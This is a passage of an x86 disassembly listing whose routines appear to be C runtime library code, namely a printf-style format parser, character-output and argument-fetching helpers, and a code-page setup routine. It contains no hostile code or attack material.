mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41FF1D ; --------------------------------------------------------------------------- loc_41FF09: ; CODE XREF: sub_41FE2A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41FF29 or dword ptr [esi+0Ch], 20h jmp short loc_41FF38 ; --------------------------------------------------------------------------- loc_41FF29: ; CODE XREF: sub_41FE2A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41FF3B ; --------------------------------------------------------------------------- loc_41FF33: ; CODE XREF: sub_41FE2A+10j ; sub_41FE2A+18j ... or al, 20h mov [esi+0Ch], eax loc_41FF38: ; CODE XREF: sub_41FE2A+FDj or eax, 0FFFFFFFFh loc_41FF3B: ; CODE XREF: sub_41FE2A+107j pop esi pop ebx pop ebp retn sub_41FE2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF3F proc near ; CODE XREF: sub_41C266+29p ; sub_41C360+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_420658 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41FF73 ; --------------------------------------------------------------------------- loc_41FF6B: ; CODE XREF: sub_41FF3F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj cmp [ebp+var_14], edx jl loc_420658 cmp bl, 20h jl short loc_41FF94 cmp bl, 78h jg short loc_41FF94 movsx eax, bl mov al, [eax+42771Ch] and eax, 0Fh jmp short loc_41FF96 ; --------------------------------------------------------------------------- loc_41FF94: ; CODE XREF: sub_41FF3F+40j ; sub_41FF3F+45j xor eax, eax loc_41FF96: ; CODE XREF: sub_41FF3F+53j movsx eax, byte_42773C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_420647 ; default jmp off_420660[eax*4] ; switch jump loc_41FFB4: ; DATA XREF: ___:off_420660o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 2 sub eax, 20h jz short loc_420012 sub eax, 3 jz short loc_420009 sub eax, 8 jz short loc_420000 dec eax dec eax jz short loc_41FFF7 sub eax, 3 jnz loc_420647 ; default or [ebp+var_4], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j or [ebp+var_4], 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420000: ; CODE XREF: sub_41FF3F+A0j or [ebp+var_4], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420009: ; CODE XREF: sub_41FF3F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FF3F+96j or [ebp+var_4], 2 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42001B: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 3 jnz short loc_420043 lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_420647 ; default or [ebp+var_4], 4 neg eax loc_42003B: ; CODE XREF: sub_41FF3F+111j mov [ebp+var_20], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420043: ; CODE XREF: sub_41FF3F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] loc_42004C: ; DATA XREF: ___:00432860o ; ___:0043286Co lea eax, [ecx+eax*2-30h] jmp short loc_42003B ; --------------------------------------------------------------------------- loc_420052: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov [ebp+var_10], edx ; jumptable 0041FFAD case 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42005A: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 5 jnz short loc_42007D lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_420647 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42007D: ; CODE XREF: sub_41FF3F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42008F: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 49h ; jumptable 0041FFAD case 6 jz short loc_4200C2 cmp bl, 68h jz short loc_4200B9 cmp bl, 6Ch jz short loc_4200B0 cmp bl, 77h jnz loc_420647 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj or [ebp+var_4], 10h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_41FF3F+158j or [ebp+var_4], 20h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200C2: ; CODE XREF: sub_41FF3F+153j cmp byte ptr [edi], 36h jnz short loc_4200DB cmp byte ptr [edi+1], 34h jnz short loc_4200DB inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200DB: ; CODE XREF: sub_41FF3F+186j ; sub_41FF3F+18Cj mov [ebp+var_30], edx loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov ecx, off_43CE78 ; jumptable 0041FFAD case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_42010A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_42010A: ; CODE XREF: sub_41FF3F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 add esp, 0Ch jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420122: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 7 cmp eax, 67h jg loc_42034A cmp eax, 65h jge loc_4201CD cmp eax, 58h jg loc_42022B jz loc_4203BE sub eax, 43h jz loc_4201EE dec eax dec eax jz short loc_4201C3 dec eax dec eax jz short loc_4201C3 sub eax, 0Ch jnz loc_420549 test word ptr [ebp+var_4], 830h jnz short loc_42016C or byte ptr [ebp+var_4+1], 8 loc_42016C: ; CODE XREF: sub_41FF3F+227j ; sub_41FF3F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_420179 mov esi, 7FFFFFFFh loc_420179: ; CODE XREF: sub_41FF3F+233j lea eax, [ebp+arg_8] push eax call sub_42071E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_420392 test ecx, ecx jnz short loc_4201A1 mov ecx, off_43D094 mov [ebp+var_8], ecx loc_4201A1: ; CODE XREF: sub_41FF3F+257j mov [ebp+var_24], 1 mov eax, ecx loc_4201AA: ; CODE XREF: sub_41FF3F+282j mov edx, esi dec esi test edx, edx jz loc_420389 cmp word ptr [eax], 0 jz loc_420389 inc eax inc eax jmp short loc_4201AA ; --------------------------------------------------------------------------- loc_4201C3: ; CODE XREF: sub_41FF3F+212j ; sub_41FF3F+216j mov [ebp+var_34], 1 add bl, 20h loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4202B1 mov [ebp+var_10], 6 jmp loc_4202BF ; --------------------------------------------------------------------------- loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_4201FA or byte ptr [ebp+var_4+1], 8 loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j ; sub_41FF3F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_420241 call sub_42073B push eax lea eax, [ebp+var_248] push eax call sub_424663 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_420254 mov [ebp+var_28], 1 jmp short loc_420254 ; --------------------------------------------------------------------------- loc_42022B: ; CODE XREF: sub_41FF3F+1FBj sub eax, 5Ah jz short loc_420262 sub eax, 9 jz short loc_4201FA dec eax jz loc_420424 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420241: ; CODE XREF: sub_41FF3F+2C5j call sub_42071E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_420254: ; CODE XREF: sub_41FF3F+2E1j ; sub_41FF3F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_420549 ; --------------------------------------------------------------------------- loc_420262: ; CODE XREF: sub_41FF3F+2EFj lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx jz short loc_4202A3 mov ecx, [eax+4] test ecx, ecx jz short loc_4202A3 test byte ptr [ebp+var_4+1], 8 jz short loc_420294 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420294: ; CODE XREF: sub_41FF3F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_420546 ; --------------------------------------------------------------------------- loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj ; sub_41FF3F+336j mov eax, off_43D090 mov [ebp+var_8], eax push eax jmp loc_42033F ; --------------------------------------------------------------------------- loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj jnz short loc_4202BF cmp bl, 67h jnz short loc_4202BF mov [ebp+var_10], 1 loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj ; sub_41FF3F:loc_4202B1j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43D420 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_420311 cmp [ebp+var_10], 0 jnz short loc_420311 lea eax, [ebp+var_248] push eax call off_43D42C pop ecx loc_420311: ; CODE XREF: sub_41FF3F+3BCj ; sub_41FF3F+3C2j cmp bl, 67h jnz short loc_420328 test esi, esi jnz short loc_420328 lea eax, [ebp+var_248] push eax call off_43D424 pop ecx loc_420328: ; CODE XREF: sub_41FF3F+3D5j ; sub_41FF3F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_42033E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_42033E: ; CODE XREF: sub_41FF3F+3F0j push edi loc_42033F: ; CODE XREF: sub_41FF3F+36Dj call sub_41B9C0 pop ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_42034A: ; CODE XREF: sub_41FF3F+1E9j sub eax, 69h jz loc_420424 sub eax, 5 jz loc_4203FA dec eax jz loc_4203E7 dec eax jz short loc_4203B7 sub eax, 3 jz loc_42016C dec eax dec eax jz loc_420428 sub eax, 3 jnz loc_420549 mov [ebp+var_2C], 27h jmp short loc_4203C5 ; --------------------------------------------------------------------------- loc_420389: ; CODE XREF: sub_41FF3F+270j ; sub_41FF3F+27Aj sub eax, ecx sar eax, 1 jmp loc_420546 ; --------------------------------------------------------------------------- loc_420392: ; CODE XREF: sub_41FF3F+24Fj test ecx, ecx jnz short loc_42039F mov ecx, off_43D090 mov [ebp+var_8], ecx loc_42039F: ; CODE XREF: sub_41FF3F+455j mov eax, ecx loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj mov edx, esi dec esi test edx, edx jz short loc_4203B0 cmp byte ptr [eax], 0 jz short loc_4203B0 inc eax jmp short loc_4203A1 ; --------------------------------------------------------------------------- loc_4203B0: ; CODE XREF: sub_41FF3F+467j ; sub_41FF3F+46Cj sub eax, ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_4203B7: ; CODE XREF: sub_41FF3F+425j mov [ebp+var_10], 8 loc_4203BE: ; CODE XREF: sub_41FF3F+201j mov [ebp+var_2C], 7 loc_4203C5: ; CODE XREF: sub_41FF3F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_42042F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_42042F or byte ptr [ebp+var_4+1], 2 jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203FA: ; CODE XREF: sub_41FF3F+417j lea eax, [ebp+arg_8] push eax call sub_42071E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_420413 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_420418 ; --------------------------------------------------------------------------- loc_420413: ; CODE XREF: sub_41FF3F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_420418: ; CODE XREF: sub_41FF3F+4D2j mov [ebp+var_28], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420424: ; CODE XREF: sub_41FF3F+2F7j ; sub_41FF3F+40Ej or [ebp+var_4], 40h loc_420428: ; CODE XREF: sub_41FF3F+432j mov [ebp+var_C], 0Ah loc_42042F: ; CODE XREF: sub_41FF3F+491j ; sub_41FF3F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_420441 lea eax, [ebp+arg_8] push eax call sub_42072B pop ecx jmp short loc_420482 ; --------------------------------------------------------------------------- loc_420441: ; CODE XREF: sub_41FF3F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_420468 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42045D call sub_42071E pop ecx movsx eax, ax loc_42045A: ; CODE XREF: sub_41FF3F+527j ; sub_41FF3F+539j cdq jmp short loc_420482 ; --------------------------------------------------------------------------- loc_42045D: ; CODE XREF: sub_41FF3F+510j call sub_42071E pop ecx movzx eax, ax jmp short loc_42045A ; --------------------------------------------------------------------------- loc_420468: ; CODE XREF: sub_41FF3F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42047A call sub_42071E pop ecx jmp short loc_42045A ; --------------------------------------------------------------------------- loc_42047A: ; CODE XREF: sub_41FF3F+531j call sub_42071E pop ecx xor edx, edx loc_420482: ; CODE XREF: sub_41FF3F+500j ; sub_41FF3F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4204A3 test edx, edx jg short loc_4204A3 jl short loc_420492 test eax, eax jnb short loc_4204A3 loc_420492: ; CODE XREF: sub_41FF3F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4204A7 ; --------------------------------------------------------------------------- loc_4204A3: ; CODE XREF: sub_41FF3F+547j ; sub_41FF3F+54Bj ... mov esi, eax mov edi, edx loc_4204A7: ; CODE XREF: sub_41FF3F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4204B0 and edi, 0 loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj cmp [ebp+var_10], 0 jge short loc_4204BF mov [ebp+var_10], 1 jmp short loc_4204C3 ; --------------------------------------------------------------------------- loc_4204BF: ; CODE XREF: sub_41FF3F+575j and [ebp+var_4], 0FFFFFFF7h loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej mov eax, esi or eax, edi jnz short loc_4204CD and [ebp+var_1C], 0 loc_4204CD: ; CODE XREF: sub_41FF3F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4204E3 mov eax, esi or eax, edi jz short loc_42051E loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DD20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DCB0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_420514 add ebx, [ebp+var_2C] loc_420514: ; CODE XREF: sub_41FF3F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4204D3 ; --------------------------------------------------------------------------- loc_42051E: ; CODE XREF: sub_41FF3F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_420549 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_42053C test eax, eax jnz short loc_420549 loc_42053C: ; CODE XREF: sub_41FF3F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_420546: ; CODE XREF: sub_41FF3F+35Fj ; sub_41FF3F+406j ... mov [ebp+var_C], eax loc_420549: ; CODE XREF: sub_41FF3F+21Bj ; sub_41FF3F+2FDj ... cmp [ebp+var_28], 0 jnz loc_420647 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_420581 test bh, 1 jz short loc_420566 mov [ebp+var_16], 2Dh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420566: ; CODE XREF: sub_41FF3F+61Fj test bl, 1 jz short loc_420571 mov [ebp+var_16], 2Bh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420571: ; CODE XREF: sub_41FF3F+62Aj test bl, 2 jz short loc_420581 mov [ebp+var_16], 20h loc_42057A: ; CODE XREF: sub_41FF3F+625j ; sub_41FF3F+630j mov [ebp+var_1C], 1 loc_420581: ; CODE XREF: sub_41FF3F+61Aj ; sub_41FF3F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4205A1 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4206E6 add esp, 10h test bl, 8 jz short loc_4205D3 test bl, 4 jnz short loc_4205D3 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4206B5 add esp, 10h loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj ; sub_41FF3F+680j cmp [ebp+var_24], 0 jz short loc_42061A cmp [ebp+var_C], 0 jle short loc_42061A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_424663 pop ecx test eax, eax pop ecx jle short loc_42062F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4206E6 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4205E8 jmp short loc_42062F ; --------------------------------------------------------------------------- loc_42061A: ; CODE XREF: sub_41FF3F+698j ; sub_41FF3F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4206E6 add esp, 10h loc_42062F: ; CODE XREF: sub_41FF3F+6BCj ; sub_41FF3F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_420647 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_420647: ; CODE XREF: sub_41FF3F+68j ; sub_41FF3F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41FF6B loc_420658: ; CODE XREF: sub_41FF3F+1Fj ; sub_41FF3F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41FF3F endp ; --------------------------------------------------------------------------- off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er dd offset loc_41FFB4 ; jump table for switch statement dd offset loc_41FFCF dd offset loc_42001B dd offset loc_420052 dd offset loc_42005A dd offset loc_42008F dd offset loc_420122 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp ; sub_41FF3F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_420699 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4206A4 ; --------------------------------------------------------------------------- loc_420699: ; CODE XREF: sub_420680+9j push ecx push [ebp+arg_0] call sub_41FE2A pop ecx pop ecx loc_4206A4: ; CODE XREF: sub_420680+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4206B1 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4206B1: ; CODE XREF: sub_420680+2Aj inc dword ptr [eax] pop ebp retn sub_420680 endp ; =============== S U B R O U T I N E ======================================= sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap ; sub_41FF3F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4206E3 mov esi, [esp+8+arg_C] loc_4206C6: ; CODE XREF: sub_4206B5+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_420680 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4206E3 mov eax, edi dec edi test eax, eax jg short loc_4206C6 loc_4206E3: ; CODE XREF: sub_4206B5+Bj ; sub_4206B5+25j pop edi pop esi retn sub_4206B5 endp ; =============== S U B R O U T I N E ======================================= sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p ; sub_41FF3F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_42071A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_4206FC: ; CODE XREF: sub_4206E6+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_420680 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_42071A mov eax, ebx dec ebx test eax, eax jg short loc_4206FC loc_42071A: ; CODE XREF: sub_4206E6+Cj ; sub_4206E6+2Bj pop edi pop esi pop ebx retn sub_4206E6 endp ; =============== S U B R O U T I N E ======================================= sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p ; sub_41FF3F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42071E endp ; =============== S U B R O U T I N E ======================================= sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_42072B endp ; =============== S U B R O U T I N E ======================================= sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_42073B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420749 proc near ; CODE XREF: sub_420B0D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_4208E2 mov esi, eax pop ecx cmp esi, dword_4DD144 mov [ebp+arg_0], esi jz loc_4208D6 xor ebx, ebx cmp esi, ebx jz loc_4208CC xor edx, edx mov eax, offset dword_43D0A0 loc_42077D: ; CODE XREF: sub_420749+41j cmp [eax], esi jz short loc_4207F3 add eax, 30h inc edx cmp eax, offset dword_43D190 jl short loc_42077D lea eax, [ebp+var_18] push eax push esi call near ptr 26518FDh nop cmp eax, 1 jnz loc_4208C4 push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 cmp [ebp+var_18], 1 mov dword_4DD144, esi rep stosd stosb mov dword_4DD364, ebx jbe loc_4208B2 cmp [ebp+var_12], 0 jz loc_420888 lea ecx, [ebp+var_11] loc_4207D0: ; CODE XREF: sub_420749+139j mov dl, [ecx] test dl, dl jz loc_420888 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_4207E1: ; CODE XREF: sub_420749+A8j cmp eax, edx ja loc_42087C or byte_4DD261[eax], 4 inc eax jmp short loc_4207E1 ; --------------------------------------------------------------------------- loc_4207F3: ; CODE XREF: sub_420749+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43D0B0[esi] loc_42080F: ; CODE XREF: sub_420749+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_420842 loc_420816: ; CODE XREF: sub_420749+F7j mov dl, [ecx+1] test dl, dl jz short loc_420842 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_42083B mov edx, [ebp+var_4] mov dl, byte_43D098[edx] loc_420830: ; CODE XREF: sub_420749+F0j or byte_4DD261[eax], dl inc eax cmp eax, edi jbe short loc_420830 loc_42083B: ; CODE XREF: sub_420749+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_420816 loc_420842: ; CODE XREF: sub_420749+CBj ; sub_420749+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_42080F mov eax, [ebp+arg_0] mov dword_4DD15C, 1 push eax mov dword_4DD144, eax call sub_42092C lea esi, dword_43D0A4[esi] mov edi, offset dword_4DD150 movsd movsd pop ecx mov dword_4DD364, eax movsd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_42087C: ; CODE XREF: sub_420749+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_4207D0 loc_420888: ; CODE XREF: sub_420749+7Ej ; sub_420749+8Bj push 1 pop eax loc_42088B: ; CODE XREF: sub_420749+14Fj or byte_4DD261[eax], 8 inc eax cmp eax, 0FFh jb short loc_42088B push esi call sub_42092C pop ecx mov dword_4DD364, eax mov dword_4DD15C, 1 jmp short loc_4208B8 ; --------------------------------------------------------------------------- loc_4208B2: ; CODE XREF: sub_420749+74j mov dword_4DD15C, ebx loc_4208B8: ; CODE XREF: sub_420749+167j xor eax, eax mov edi, offset dword_4DD150 stosd stosd stosd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_4208C4: ; CODE XREF: sub_420749+51j cmp dword_4DBE4C, ebx jz short loc_4208DA loc_4208CC: ; CODE XREF: sub_420749+27j call sub_42095F loc_4208D1: ; CODE XREF: sub_420749+131j ; sub_420749+179j call sub_420988 loc_4208D6: ; CODE XREF: sub_420749+1Dj xor eax, eax jmp short loc_4208DD ; --------------------------------------------------------------------------- loc_4208DA: ; CODE XREF: sub_420749+181j or eax, 0FFFFFFFFh loc_4208DD: ; CODE XREF: sub_420749+18Fj pop edi pop esi pop ebx leave retn sub_420749 endp ; =============== S U B R O U T I N E ======================================= sub_4208E2 proc near ; CODE XREF: sub_420749+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DBE4C, 0 cmp eax, 0FFFFFFFEh jnz short loc_420902 mov dword_4DBE4C, 1 jmp near ptr 265189Ch ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- loc_420902: ; CODE XREF: sub_4208E2+Ej cmp eax, 0FFFFFFFDh jnz short loc_420917 mov dword_4DBE4C, 1 jmp near ptr 26518BBh ; --------------------------------------------------------------------------- db 25h ; --------------------------------------------------------------------------- loc_420917: ; CODE XREF: sub_4208E2+23j 